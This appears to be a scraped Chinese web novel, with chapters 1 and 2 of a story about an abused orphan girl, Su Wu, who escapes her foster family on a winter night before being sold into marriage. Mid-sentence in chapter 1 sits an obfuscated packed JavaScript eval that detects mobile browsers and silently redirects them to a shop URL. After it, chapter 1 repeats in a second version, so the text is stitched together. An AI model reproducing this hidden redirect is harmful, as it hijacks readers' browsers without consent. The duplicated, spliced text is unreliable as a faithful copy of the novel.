《尘间玉碎又重圆》 1. 柴房寒虐·隐忍待破 隆冬腊月，朔风卷着鹅毛大雪，把苏家村裹得严严实实，连屋檐下的冰棱都冻得有手指粗，砸在地上能碎成尖利的冰碴。村尾苏家的柴房，比外面的雪地还要冷几分——四壁漏风，糊着的旧纸早已被寒风撕得支离破碎，地上铺着一层潮湿发霉的柴草，踩上去软黏刺骨，唯一的一堆柴火早已燃成灰烬，只剩几粒火星在灰堆里苟延残喘，连一丝像样的暖意都攒不起来。 苏芜蜷缩在柴堆最里侧的角落，身上裹着一件看不出原色的薄衣，补丁摞着补丁，袖口和衣摆早已磨破，露出冻得青紫的胳膊和脚踝。她把膝盖紧紧抵在胸口，怀里揣着半块硬邦邦的窝头，那是她今早从灶房的泔水桶边偷偷捡来的，被体温焐得稍软，却依旧硌得胸口发疼——这是她近三天来，唯一能果腹的东西。她的头发枯黄打结，黏在满是灰尘和冻疮的脸颊上，额角一道旧伤还未结痂，那是昨日被族婶王桂香打的，此刻被寒风一吹，钻心的疼。 她不敢动，也不敢出声，连呼吸都放得极轻，仿佛这样就能躲过那场注定要来的打骂。这些年，她早已摸清了苏家的规矩：王桂香的怒火从来不需要理由，苏翠的刁难也从来不会缺席，她的隐忍，是唯一能少受些苦楚的法子。 “哐当——”一声巨响，柴房的木门被人狠狠踹开，门板撞在墙上，发出沉闷的声响，随即又弹回来，来回晃动着。寒风裹挟着大片的雪沫子灌了进来，吹得苏芜浑身剧烈一颤，冻得发紫的嘴唇抿得更紧，下意识地往柴堆深处又缩了缩，把自己裹得更严实些。 王桂香叉着腰，满脸横肉因愤怒而扭曲，身上穿着一件半旧的棉袄，袖口却绣着俗气的碎花，与她刻薄的模样格格不入。她踩着厚厚的积雪，咯吱咯吱地走进来，鞋上的雪水蹭在潮湿的柴草上，留下一串泥泞的脚印。她的身后，跟着穿着崭新棉鞋、裹着花围巾的苏翠，苏翠手里攥着一件绣着鸳鸯的红衣——那是她的嫁妆衣裳，此刻衣角沾着几点泥污，苏翠的脸上挂着假意的委屈，眼底却藏着毫不掩饰的得意。 “死丫头！你躲在这里做什么？想偷懒耍滑是不是！”王桂香几步就冲到了苏芜面前，居高临下地瞪着她，声音尖利得像刮铁，“我让你天不亮就起来劈柴、挑水，再把翠儿的嫁妆衣裳洗干净，你看看你，干的什么勾当！” 话音未落，王桂香就伸出粗糙有力的手，一把揪住了苏芜枯黄的头发，力道大得几乎要把她的头皮扯下来。苏芜疼得浑身一僵，眉头紧紧皱起，牙齿死死咬着下唇，硬是没发出一声痛呼，眼泪在眼眶里打转，却被她硬生生逼了回去——她知道，眼泪只会换来更残酷的打骂，示弱从来都不是她的退路。 “婶子……我劈完柴了，挑了三桶水，衣裳也洗干净了，晾在院子里……”苏芜的声音又轻又哑，带着难以掩饰的颤抖，不是因为害怕，而是因为寒冷和疼痛，“翠儿的衣裳，不是我弄脏的……” “你还敢狡辩！”王桂香气得浑身发抖，猛地一使劲，把苏芜的头往旁边的柴堆上狠狠撞去。“咚”的一声闷响，苏芜的额头撞在坚硬的柴棍上，旧伤未愈又添新伤，鲜血瞬间涌了出来，顺着脸颊滑落，滴在冻硬的柴草上，晕开一小片暗沉的红。她眼前一黑，险些栽倒，却依旧死死咬着牙，双手紧紧攥着衣角，指甲深深嵌进掌心，用那点尖锐的疼痛，维持着最后的清醒。 苏翠凑上前来，故意把那件沾了泥污的红衣递到苏芜眼前，娇滴滴地拉着王桂香的胳膊，添油加醋道：“娘，你看，这可是我最爱的嫁妆衣裳，明天就要试穿给张公子看的，姐姐怎么能这么狠心，把它弄脏呢？”说着，她抬起脚，穿着崭新棉鞋的脚，狠狠踩在苏芜冻得青紫、布满冻疮的手上，来回碾了碾。 “啊——”指尖传来的剧痛，终于让苏芜忍不住低呼了一声，那声音微弱得像蚊子叫，很快就被寒风淹没。她的手被踩得蜷缩起来，冻疮被碾破，渗出血丝，混着泥土，狼狈不堪。苏翠却笑得更得意了，压低声音，用只有两人能听到的语气说道：“苏芜，你就是个没人要的孤女，凭什么和我比？我能嫁去镇上当少奶奶，你却只能在这里当牛做马，弄脏我的衣裳，是你这辈子最大的福气！” 苏芜缓缓闭上了眼睛，眼底的恨意和不甘，像潮水一样翻涌，却又被她硬生生压了下去，藏得一丝不剩。她知道，苏翠说的是实话——她无父无母，无依无靠，被苏家收养，从来不是恩情，只是多了一个免费的劳力，一个可以随意打骂、随意摆布的出气筒。争辩无用，反抗无用，唯有隐忍，唯有活下去，才有一线生机。 她想起小时候，父母还在的时候，她也曾有过温暖的家，有过干净的衣裳，有过父母的疼爱，跟着父亲念过几句诗，跟着母亲认过几种草药。可一场瘟疫，夺走了她所有的一切，从此，她就坠入了这无边无际的黑暗里，日复一日，年复一年，在打骂和欺凌中苟延残喘。她默默记着山间的草药，记着村里教书先生偶尔念起的字句，记着王桂香记账时的模样——她不是甘心被欺凌，只是在默默积蓄力量，等着一个能逃离这里的机会。 王桂香骂够了，也打够了，揪着苏芜头发的手稍稍松了些，却依旧恶狠狠地说道：“死丫头，给我听好了，现在就去院子里，把翠儿的衣裳重新洗干净，用胰子搓，搓到能照出人影来！再劈够十五捆柴，填满灶房的柴房，要是明天一早我看不到，就打断你的腿！” 苏芜微微点头，声音轻得像叹息：“我知道了，婶子。” 可王桂香还不算完，她俯下身，凑到苏芜耳边，语气里满是残忍和贪婪：“还有一件事，我告诉你，翠儿的嫁妆还差五十两银子，我已经和山里的李老光棍说好了，再过五天，就把你卖给她当媳妇，换五十两银子，正好给翠儿添嫁妆。” 卖给李老光棍？ 苏芜猛地睁开眼睛，眼底的平静被彻底打破，闪过一丝难以掩饰的惊恐，随即又被浓浓的绝望包裹。她见过那个李老光棍，年过半百，头发花白，脸上有一道长长的刀疤，性情残暴不堪，听说他之前娶过两个媳妇，都被他打得遍体鳞伤，最后活生生饿死、打死了。嫁给这样的人，比死还要可怕！ “婶子……我不嫁……我不能嫁……”苏芜的声音带着一丝哀求，这是她第一次敢反抗王桂香，不是因为勇敢，而是因为绝境，“我可以多劈柴、多挑水、多洗衣裳，我可以去山里采草药换钱，我不要被卖给李老光棍，求你了……” “求我？你也配求我？”王桂香冷笑一声，又狠狠扇了苏芜一个耳光，力道之大，让苏芜的嘴角瞬间溢出了血丝，脸颊也肿了起来，“你是我们苏家收养的，你的命就是我们苏家的，我们想把你卖给谁，就卖给谁，由不得你说了算！” 她又狠狠踹了苏芜一脚，苏芜重心不稳，摔倒在冰冷的柴草上，额头的伤口又开始渗血，手上的疼痛钻心刺骨，浑身冻得僵硬，可这些，都比不上心底的绝望。她趴在柴草上，没有再挣扎，也没有再哀求，只是缓缓闭上了眼睛，眼泪终于忍不住，顺着脸颊滑落，滴在柴草上，瞬间就冻成了小小的冰珠。 “娘，我们别和她废话了，冻着我们就不好了。”苏翠拉了拉王桂香的胳膊，嫌弃地看了一眼趴在地上的苏芜，“她要是敢不洗衣裳、不劈柴，明天再好好教训她就是了，反正她也跑不了。” 王桂香冷哼一声，松开揪着苏芜头发的手，啐了一口：“死丫头，识相点，别想着逃跑，这苏家村，你插翅难飞！要是敢跑，我就把你抓回来，打断你的腿，再卖给更不堪的人！” 说完，她拉着苏翠，转身就走，木门被“砰”的一声关上，隔绝了外面的风雪，也彻底隔绝了苏芜最后的一丝希望。柴房里又恢复了寂静，只剩下寒风从门缝里灌进来的呜咽声，还有苏芜压抑的、细微的喘息声。 灰堆里的火星彻底熄灭了，柴房里越来越冷，冻得苏芜浑身发抖，意识都开始有些模糊。额头的伤口在疼，脸颊在疼，手在疼，浑身都在疼，可最疼的，是她的心——那是一种被全世界抛弃、被命运碾压的绝望，是一种连活下去都成了奢望的无助。 可就在这份绝望里，有一丝微弱的火苗，悄悄燃了起来。 她不能嫁，不能死。她要逃跑，要逃离这个吃人的苏家，要逃离这个让她受尽苦难的地方。她想起自己藏在柴房墙角的一个破布包，里面装着她这几年在山间辛辛苦苦采来的草药，有止血的，有治病的，听说拿到镇上的药铺，能换些银子；还有她省吃俭用，偷偷攒下的几文钱，那是她唯一的积蓄。 苏芜缓缓撑起身子，每动一下，都伴随着钻心的疼痛。她扶着冰冷的墙壁，一点点挪到柴房的墙角，小心翼翼地挖出那个破布包，紧紧抱在怀里。布包里的草药还带着山间的寒气，却给了她一丝微弱的勇气。她抬起头，望向柴房唯一的窗户，窗户上结着厚厚的薄冰，透过薄冰，能看到外面微弱的月光，那月光清冷，却照亮了她眼底的坚定。 隐忍不是懦弱，绝境也不是终点。她忍了这么多年，受了这么多苦，不是为了被卖给老光棍，不是为了死在这冰冷的柴房里。她要活下去，要靠着自己的力量，活下去，活得比任何人都好。 夜色渐深，风雪渐停，柴房里的寒意依旧刺骨，可苏芜的眼神，却越来越坚定。她用破旧的布条，笨拙地包扎着额头的伤口和手上的冻疮，布条很快就被鲜血浸透，却依旧紧紧缠着——那是她的伤口，也是她的勋章。她把破布包揣进怀里，又把那半块窝头塞进袖口，然后，一步步朝着窗户走去。 窗户的木栓年久失修，又被冻得发脆，苏芜用尽全身的力气，死死攥着木栓，一点点用力，“咔嚓”一声，木栓终于被掰断了。她推开窗户，一股清冷的月光洒了进来，落在她狼狈不堪的身上，却像是给她镀上了一层微光。 窗外，雪地上积了厚厚的一层雪，月光洒在雪地上，泛着淡淡的银辉，照亮了一条通往远方的路。苏芜深吸一口气，没有丝毫犹豫，纵身跳出了窗户，踩在厚厚的积雪上，发出轻微的咯吱声。她回头看了一眼那座囚禁了她十几年、带给她无尽痛苦和欺凌的苏家小院，眼底没有丝毫留恋，只有一片冰冷的坚定。 她转身，朝着京城的方向，一步步走去。身影单薄而渺小，在茫茫白雪中，像一株被狂风摧残却依旧倔强生长的野草，在绝境里，死死攥着那一丝微光，不肯放弃。寒夜漫漫，前路茫茫，她不知道自己要走多久，不知道前路会遇到什么，不知道自己能不能活下去，但她知道，她必须走下去——为了自己，为了那未完成的逃离，为了那一丝活下去的希望。 隆冬腊月，寒风像刀子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239928|197681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样刮过苏家村的屋檐，柴房里没有一丝暖意，只有一堆快要熄灭的柴火，散发着微弱的热气，勉强驱散些许寒意。苏芜蜷缩在柴堆角落，身上裹着一件打满补丁、沾满污渍的薄衣，怀里紧紧揣着半块冰冷的窝头，这是她今天唯一的食物。 柴房的门被“哐当”一声踹开，寒风裹挟着雪沫子灌了进来，苏芜浑身一颤，下意识地缩了缩身子，抬起头，就看到族婶王桂香叉着腰，满脸怒容地站在门口，身后跟着一脸得意的族妹苏翠。 “死丫头！你倒是会享清福！”王桂香几步走到苏芜面前，一把揪住她的头发，狠狠往柴堆上撞去，“让你劈柴，你劈到哪儿去了？让你给翠儿洗嫁妆衣裳，你竟敢偷懒，把衣裳洗得脏兮兮的，你是不是故意的？” 剧烈的疼痛传来，苏芜的额头磕出了一道血痕，鲜血顺着脸颊滑落，滴在冰冷的柴草上，她咬着牙，没有哭，也没有挣扎，只是低声说道：“婶子，我没有偷懒，衣裳我洗干净了，是翠儿自己弄脏的，柴我也劈好了，放在院子里。” “你还敢狡辩！”王桂香气得脸色发白，又狠狠扇了苏芜一个耳光，力道之大，让苏芜的嘴角溢出了血丝，“翠儿那么乖，怎么会弄脏自己的嫁妆衣裳？分明是你嫉妒翠儿能嫁去镇上当少奶奶，故意刁难她！我看你就是个白眼狼，我们收养你这么多年，供你吃供你穿，你就是这么报答我们的？” 苏翠站在一旁，捂着嘴偷偷笑，还故意添油加醋：“娘，你别生气，姐姐可能就是一时糊涂，不过，姐姐也太过分了，我明天就要去镇上了，她却故意弄脏我的衣裳，我看她就是不想让我好过。”说着，她走上前，故意踩了踩苏芜的手，“姐姐，你就不能安分一点吗？你就是个没人要的孤女，能留在我们家，已经是天大的福气了，还敢惹我生气？” 苏芜的手被踩得生疼，指甲缝里渗进了泥土，她依旧没有反抗，只是缓缓闭上了眼睛，将眼底的恨意与不甘，深深藏在心底。她知道，争辩无用，反抗只会换来更残酷的打骂，苏家收养她，从来不是出于好心，只是多了一个免费的劳力，一个可以随意打骂、随意摆布的工具。 她想起自己的父母，想起他们在世时，对她的疼爱，想起那时，她不用干重活，不用受打骂，还能跟着父亲念几句诗，跟着母亲认几种草药。可自从父母去世后，她就成了无依无靠的孤女，被苏家收养，从此跌入了万劫不复的深渊。 王桂香骂够了，打够了，又揪着苏芜的头发，恶狠狠地说道：“死丫头，给我听着，明天一早，把翠儿的衣裳重新洗干净，劈够十捆柴，要是再敢偷懒，再敢狡辩，我就打断你的腿！还有，再过几天，翠儿的嫁妆就差些银子，我已经和山里的李老光棍说好了，把你卖给她当媳妇，换些银子给翠儿当嫁妆，你最好识相点，别想着逃跑！” 卖给山里的老光棍？ 苏芜猛地睁开眼睛，眼底闪过一丝惊恐，随即被浓浓的绝望与不甘取代。她见过那个李老光棍，年过半百，相貌丑陋，性情残暴，听说他之前娶过两个媳妇，都被他打死了。她宁愿死，也不愿意嫁给那样的人！ 王桂香见她眼神不对，又狠狠踹了她一脚：“怎么？你不愿意？我告诉你，由不得你！你是我们苏家收养的，你的命就是我们苏家的，我们想把你卖给谁，就卖给谁，你敢反抗试试！” 说完，王桂香拉着苏翠，冷哼一声，摔门而去，柴房的门被关上，寒风依旧从门缝里灌进来，冻得苏芜浑身发抖。 柴堆里的柴火快要熄灭了，暖意一点点消散，苏芜蜷缩在角落，额头的伤口还在疼，嘴角的血丝已经凝固，手上的疼痛钻心刺骨，可这些，都比不上心底的绝望与不甘。 她不能嫁，不能死，她要逃离这里，要活下去。 苏芜缓缓抬起头，望向柴房的窗户，窗户上结着一层薄冰，透过薄冰，能看到外面微弱的月光。她想起自己偷偷藏在柴房角落的几株草药，那是她这几年在山间收集的，据说能卖些银子；想起自己偷偷攒下的半块窝头，那是她省了好几天的粮食。 夜色渐深，寒风渐缓，苏芜的眼神，从最初的绝望，慢慢变得坚定。她缓缓站起身，拍了拍身上的灰尘，走到柴房角落，拿出藏起来的草药和窝头，小心翼翼地揣在怀里，又找了一根破旧的布条，简单包扎了一下额头的伤口和手上的伤痕。 她走到窗户边，用力掰了掰窗户的木栓，木栓年久失修，又被冻得发脆，她费了九牛二虎之力，终于将木栓掰断，推开了窗户。窗外，雪已经停了，月光洒在雪地上，泛着微弱的光芒，照亮了她前行的路。 苏芜深吸一口气，没有丝毫犹豫，纵身跳出了窗户，踩在厚厚的积雪上，发出轻微的声响。她回头看了一眼那座囚禁了她十几年、带给她无尽痛苦的苏家小院，眼底没有丝毫留恋，转身，朝着京城的方向，一步步走去。 寒夜漫漫，前路茫茫，她不知道自己要走多久，不知道前路会遇到什么，不知道自己能不能活下去。但她知道，她必须走下去，必须逃离这尘泥般的困境，必须有一天，站在阳光下，活得比任何人都好。 月光下，她的身影单薄而渺小，却带着一股不屈不挠的韧劲，像一株生长在石缝里的野草，在绝境中，倔强地寻找着属于自己的微光。 2. 寒途险象·草药渡关 隆冬腊月的寒夜，雪刚歇了，天地间一片素白，连月光落下来，都像是被冻住了，洒在苏家村的雪地上，泛着一层冷幽幽的银辉。苏芜纵身跳出柴房的窗户，双脚落在没过脚踝的积雪里，刺骨的寒意瞬间从脚底窜遍全身，让她忍不住打了个寒颤，原本就冻得麻木的腿，更是一阵发软，险些栽倒。 她扶着窗沿稳了稳身形，回头望了一眼那座黑黢黢的苏家小院，院门关得严实，里面没有一丝光亮，却像一头蛰伏的野兽，藏着她十几年的苦难与屈辱。额头的伤口还在淌血，顺着脸颊滑进脖颈，和冰冷的雪水混在一起，带来一阵又一阵的刺痛，手上的冻疮被磨破，血珠渗出来，沾在窗沿的木头上，留下一点暗红的印记。她没有丝毫留恋，抬手抹了一把脸上的血和雪，攥紧了怀里的破布包，转身便朝着村外的方向，深一脚浅一脚地走去。 这一走，便没有回头路了。 她不敢走村里的大路，只能沿着院墙根的窄巷走，脚下的积雪被踩得咯吱作响，在这寂静的寒夜里，显得格外刺耳。苏芜把脚步放得极轻，几乎是踮着脚在走，耳朵竖得老高，听着身后的动静，生怕王桂香和苏大柱发现她逃跑，立刻追出来。她的心跳得飞快，像要撞出胸膛，手心沁出冷汗，沾湿了怀里的布包，触到干枯的草药，才勉强寻得一丝心安。 苏家在村尾，离村外的山坳不远，可这短短半里路，苏芜走得格外艰难。她身上的薄衣根本抵不住隆冬的寒风，风像刀子似的刮在脸上、脖子上，割得生疼，冻得发紫的嘴唇抿得紧紧的，连呼吸都带着白雾，吸进肺里，都是冰冷的疼。她的头发上落了雪，很快就融化成水，顺着脸颊往下淌，和血混在一起，狼狈不堪。 走到村头的老槐树旁，苏芜才敢稍稍停下，靠在冰冷的树干上歇了片刻。她低头看了看自己的脚，脚上的旧布鞋早就磨破了底，雪水渗进去，把袜子浸得透湿，脚底磨出了几个小血泡，一踩就疼。她蹲下身，把鞋脱下来，倒出里面的雪和泥，想把袜子拧干，可手指冻得僵硬，连弯腰的力气都快没了，稍一用力，手上的冻疮就钻心的疼，眼泪在眼眶里打转，却被她硬生生逼了回去。 这些年在苏家，她早就学会了把眼泪咽进肚子里。哭解决不了任何问题，只会让那些欺凌她的人更加得意。她咬着牙，用冻得不听使唤的手指，把袜子扯下来，随手扔在雪地里，又把鞋穿上，哪怕鞋底磨破，总好过光脚踩在雪地里。 做完这一切，她扶着树干缓缓站起身，刚要迈步，就听到村里传来几声狗吠，紧接着，是苏大柱粗哑的骂声，似乎是在喊家里的狗。苏芜的心瞬间提到了嗓子眼，不敢再停留，转身就朝着村外的山坳跑去。她跑得急，脚下的积雪滑，好几次都险些摔倒，额头的伤口因为剧烈的动作，淌出更多的血，模糊了视线，她只能用袖子胡乱擦一把，凭着本能往前跑。 山坳的入口处，全是没膝的积雪，还有密密麻麻的矮荆棘，荆棘的枝桠上挂着雪，尖刺露在外面，像一把把小刀子。苏芜钻进荆棘丛里，枝桠刮破了她的衣袖，扎进她的胳膊和脚踝，划出一道道细小的血口，雪水渗进去，疼得她浑身一颤。可她不敢慢下来，只能硬生生往前钻，直到钻进山坳深处，听不到村里的动静了，才敢停下脚步，靠在一棵粗壮的老松树下，大口大口地喘着气。 此时的她，浑身都是伤，额头的血还在流，胳膊和脚踝被荆棘划得满是血痕，手上的冻疮破了，血珠混着泥土，粘在掌心，脚底的血泡也破了，每动一下，都像是踩在刀尖上。她顺着树干滑坐在雪地上，背靠着粗糙的树皮，终于敢稍稍放松一点。 怀里的破布包还在，里面是她这几年在山间采的草药，有止血草、金银花、柴胡，还有几株她偶然发现的、能治风寒的艾草，都是她趁着放牛、割草的间隙，一点点采来、晒干，偷偷藏在柴房墙角的，这是她唯一的积蓄，也是她活下去的希望。袖口的半块窝头还在，硬邦邦的，被体温焐得稍软，她拿出来，掰了一点点，放进嘴里，窝头粗糙坚硬，刮得喉咙生疼，可她吃得格外珍惜，每一口都嚼得极细，咽下去之后，才觉得空荡荡的肚子里，有了一丝微弱的暖意。 她不敢多吃，这半块窝头，是她不知道要走多久的干粮，她不知道前路还有多远，不知道什么时候才能再吃到东西，只能省着点。吃完那一点点窝头，她把剩下的窝头重新塞回袖口，又从布包里掏出几株止血草，用冻得僵硬的手指，一点点揉碎。 止血草的叶片干枯，揉碎后散发出淡淡的草腥味，她把揉碎的草药敷在额头的伤口上，草药的清凉感瞬间缓解了些许疼痛，又掏出几株，敷在手上和胳膊的伤口上，然后从身上扯下一块破旧的布条，小心翼翼地包扎好。这是母亲生前教她的，母亲是个懂草药的妇人，生前总带着她在山间采草药，教她认各种草药的样子，说什么草能止血，什么草能治风寒，什么草能解毒。那时的她，还是个被父母捧在手心的小姑娘，从没想过，这些在当时看来无关紧要的本事，会成为她日后在绝境里求生的依仗。 想起父母，苏芜的眼眶微微泛红。那是她生命里仅有的温暖，一场瘟疫，却把那点温暖彻底撕碎了。父母走后，她成了无依无靠的孤女，被远房族叔苏大柱收养，本以为能有个容身之所，没想到却是跌入了另一个地狱。十几年的欺凌，十几年的苟延残喘，她像一株被踩在泥里的野草，任人践踏，可她从来没有真正放弃过，她总想着，总有一天，她能逃离这里，能靠着自己的力量活下去。 现在，她终于逃出来了。 哪怕前路茫茫，哪怕天寒地冻，哪怕身上满是伤痕，可她自由了。 这份自由，让她心底那丝微弱的火苗，一点点燃了起来，驱散了些许寒意，也给了她继续走下去的勇气。 苏芜靠在松树下，歇了约莫半个时辰，身体的力气稍稍恢复了一点，身上的寒意却越来越重，牙齿开始打颤，浑身止不住地发抖。她知道，不能再在这里久留，山坳里夜里更冷，再待下去，怕是会被冻死在这里。而且苏大柱和王桂香发现她逃跑后，必定会派人出来追捕，这里离村子太近，很容易被发现。 她撑着树干，缓缓站起身，拍了拍身上的雪，辨了辨方向，朝着京城的方向走去。她只听村里的教书先生说过，京城在东南方，是大靖王朝的都城，那里很大，有很多人，只要能到那里，就能活下去。至于京城到底是什么样子，有多远，她一概不知，她只知道，朝着东南方走，总能走到的。 山坳里的路，比村外的路难走百倍。积雪没膝，脚下全是松软的雪和坚硬的石头，稍不注意，就会踩空，摔进雪坑里。苏芜的脚早就没了知觉，只能凭着感觉往前走，脚底的血泡破了，血混着雪水，把鞋里的泥土粘成了泥团，每走一步，都带着钻心的疼痛。她的腿像灌了铅似的，沉重无比，走不了几步，就需要歇一歇，可她不敢歇太久，只能咬着牙，一步步往前挪。 夜色越来越浓，月光被云层遮住，天地间一片漆黑，只有脚下的雪，泛着一点微弱的白光。苏芜只能借着这点微光，辨认脚下的路，她的眼前开始发黑，头也晕乎乎的，额头的伤口还在疼，身上的伤一处连着一处，疼得她意识都开始有些模糊。她知道，自己这是累到了，也冻到了，再这样下去，怕是撑不住了。 她扶着一棵矮树，弯腰干呕了几声，却什么也吐不出来，肚子里空空如也，只有一股酸涩的滋味往上涌。她从布包里掏出一点艾草，揉碎了，塞进鼻子里，艾草的辛辣味直冲脑门，让她混沌的意识稍稍清醒了一点。 就在这时，她听到不远处传来杂乱的脚步声，还有男人的说话声，夹杂着风雪的呼啸，格外刺耳。 “那死丫头肯定跑不远，桂香说了，活要见人，死要见尸，必须把她抓回去，五十两银子呢，可不能白白浪费了！” 是苏大柱的声音，粗哑蛮横，带着不容置疑的凶狠。 “柱哥，这大半夜的，天寒地冻的，她一个丫头片子，能跑哪儿去？怕是早就冻僵在哪个雪沟里了。”另一个男人的声音响起，带着几分不耐烦，是村里的壮汉牛二，苏大柱的跟班。 “冻僵了也得找！桂香说了，就算是死了，也得把尸体找回去，不能让她就这么便宜了！”苏大柱的声音又响起来，“她肯定往山坳里跑了，这丫头平时总往山里钻，采些破草药，肯定以为山里能藏住她，我们仔细找找，她那身破衣裳，在雪地里显眼得很！” 脚步声越来越近，还有木棍拨弄积雪的声音，显然是他们拿着木棍，在雪地里四处搜寻。 苏芜的心脏狂跳不止，浑身的汗毛都竖了起来，一股寒意从脚底窜遍全身，比这隆冬的寒风还要刺骨。她下意识地屏住呼吸，转身就往旁边的石缝里钻。那是一道狭窄的石缝，藏在老松树的后面，被积雪和荆棘遮住，不仔细看，根本发现不了。石缝很窄，只能容下一个人，苏芜钻进去的时候，胳膊和后背被石缝的尖石刮破，疼得她差点叫出声，可她死死咬着下唇，把声音咽进肚子里，连呼吸都放得极轻，生怕被外面的人发现。 她蜷缩在石缝里，身体紧紧贴着冰冷的石壁，石壁上的寒气渗进骨头里，让她浑身发抖。她能听到外面的脚步声越来越近，能听到苏大柱和牛二的说话声，甚至能听到他们的呼吸声。她的手心沁出冷汗，紧紧攥着怀里的布包，指甲深深嵌进掌心，连手上的疼痛都感觉不到了，只觉得心脏快要跳出来了。 “柱哥，你看这是什么？”牛二的声音突然响起，“好像是一块破布，还有点血！” 苏芜的心跳瞬间停了一拍，那是她刚才包扎伤口时，掉在雪地里的布条，上面还沾着她的血。 “是不是那死丫头的？”苏大柱的声音带着急切，“快找找，她肯定就在附近！” 木棍拨弄积雪的声音离石缝越来越近，苏芜甚至能看到石缝外，一道黑影晃过，那是苏大柱的身影。她把自己缩成一团，埋在膝盖里，闭上眼睛，心里只有一个念头：别发现我，别发现我。 她能感觉到，苏大柱的脚步就停在石缝外面，木棍在石缝口的积雪上拨弄着，尖刺的木棍差点就戳进石缝里。苏芜的身体僵得像一块石头，连眼皮都不敢眨一下，冷汗顺着额头往下淌，和伤口的血混在一起，滴在冰冷的雪地上。 “柱哥，这石缝里会不会藏着人？”牛二的声音响起。 苏大柱沉默了片刻，用木棍戳了戳石缝口的荆棘，骂道：“这石缝这么窄，连条狗都钻不进去，那死丫头怎么可能藏在这里？怕是早就往山坳深处跑了，我们追上去！” 说完，脚步声渐渐远去，夹杂着他们的骂声，最终消失在山坳深处。 苏芜直到听不到任何声响，才缓缓松开紧咬的下唇，长长地舒了一口气，紧绷的身体瞬间放松下来，浑身脱力，瘫坐在石缝里，大口大口地喘着气。她的嘴唇被咬出了血，血腥味在嘴里弥漫开来，可她却感觉不到疼，只有劫后余生的庆幸，像一股暖流，稍稍驱散了心底的寒意。 她靠在石壁上，缓了好一会儿，才敢探出头，看了看外面的情况，雪地里空荡荡的，没有任何人的身影，苏大柱和牛二已经走远了。她这才从石缝里钻出来，拍了拍身上的雪和泥土，不敢再停留，立刻朝着山坳深处走去。 她知道，苏大柱不会轻易放弃，他们肯定还会在山坳里搜寻，她必须走得更远，离他们越远越好。 这一夜，苏芜就在山坳里艰难地跋涉着。她不知道走了多久，只知道天快亮的时候，她终于走出了山坳，眼前出现了一条狭窄的土路，土路两旁是低矮的灌木丛，远处隐约能看到一个小小的村落，村落的屋顶上飘着袅袅炊烟，在这寒冷的冬日里，显得格外温暖。 天渐渐亮了，东方的天际染上了一抹淡淡的鱼肚白，太阳慢慢升起来，洒下一点微弱的阳光，却丝毫驱散不了冬日的寒意。苏芜站在土路的路口，看着远处的村落，眼眶微微泛红。她走了整整一夜，身上的力气早就耗尽了，脚底的鞋彻底磨破了，露出冻得发紫的脚趾，脚趾上的血泡破了，混着泥和雪，狼狈不堪。她的头发乱糟糟的，脸上满是灰尘和血痕，身上的薄衣被划得满是口子，露出冻得青紫的皮肤，整个人看起来，像个从雪地里爬出来的乞丐。 她扶着路边的灌木丛，缓缓蹲下身子，再也支撑不住，瘫坐在雪地上。她的眼前发黑，头重脚轻，浑身止不住地发抖，意识也开始有些模糊，她知道，自己这是冻病了，再这样下去，怕是撑不住了。 她从怀里掏出破布包，小心翼翼地打开，里面的草药还在，她挑出几株柴胡和艾草，揉碎了，塞进嘴里，慢慢嚼着。柴胡的味道微苦，艾草的味道辛辣，嚼在嘴里，滋味并不好受，可她却吃得格外认真，这些草药能治风寒，能让她保持清醒，能让她活下去。 嚼完草药，她靠在灌木丛上，歇了约莫一个时辰，太阳渐渐升高，一点微弱的暖意洒在身上，让她混沌的意识稍稍清醒了一点。她知道，自己必须去那个村落，她身无分文，身上满是伤，还冻病了，若是不去村落里换些干粮和治伤的药，怕是走不到京城，就会死在半路上。 可她也知道，村落里人多眼杂，若是被村里人发现她的模样，难免会盘问，若是被苏大柱的人发现，那她就前功尽弃了。 她犹豫了片刻，最终还是咬了咬牙，撑着身子站起身，朝着村落的方向走去。她把身上的破布扯了扯，遮住脸上的血痕，又把头发拢了拢，遮住额头的伤口，尽量让自己看起来不那么狼狈，然后低着头，沿着土路的墙角，慢慢走着，尽量避开行人的目光。 村落不大，只有几十户人家，家家户户的屋顶都覆盖着厚厚的积雪，门口挂着晒干的玉米和辣椒，透着一股浓浓的烟火气。路上有早起的村民，穿着厚厚的棉袄，缩着脖子，匆匆走着，看到苏芜这副狼狈的模样，都投来异样的目光，有人低声议论着，有人露出同情的神色，还有人露出嫌弃的模样。 苏芜低着头，不敢看他们，只是加快了脚步，走到村落中央，她看到一户人家的门口，挂着一块小小的木牌，木牌上刻着“药铺”两个字，字迹潦草，却清晰可见。她的眼睛亮了亮，心底涌起一丝希望，这是她现在唯一的出路了。 她深吸一口气，定了定神，缓缓走上前，轻轻敲了敲药铺的木门。敲门声微弱，却在这寂静的村落里，格外清晰。 过了片刻，木门“吱呀”一声被打开，一个穿着灰色长衫、头发花白的老者探出头来。老者约莫六十多岁，面容慈祥，脸上带着些许皱纹，眼睛却很亮，他上下打量了苏芜一番，看到她狼狈的模样，眼底闪过一丝诧异，随即又化为同情，开口问道：“你是谁家的丫头？怎么弄得这么狼狈？这大冬天的，怎么一个人在外面？” 苏芜抬起头，声音又轻又哑，带着难以掩饰的疲惫和怯懦，还有一丝不易察觉的警惕：“老……老先生，我是路过的，家乡遭了灾，家人都没了，只能四处流浪，身上有一些自己采的草药，想卖给您，换些干粮和盘缠，求您行行好……” 她没有说出自己的真实遭遇，她知道，人心隔肚皮，她一个无依无靠的孤女，若是说出自己被家人追捕，怕是会引来更多的麻烦，甚至会被人送回去。她只能谎称家乡遭灾，这是最稳妥的说法。 她说着，小心翼翼地把怀里的破布包递了过去，眼底满是恳求。这布包里的草药，是她现在唯一的希望，她不敢奢求太多，只求能换一口吃的，能换一点治伤的药，能让她继续朝着京城走去。 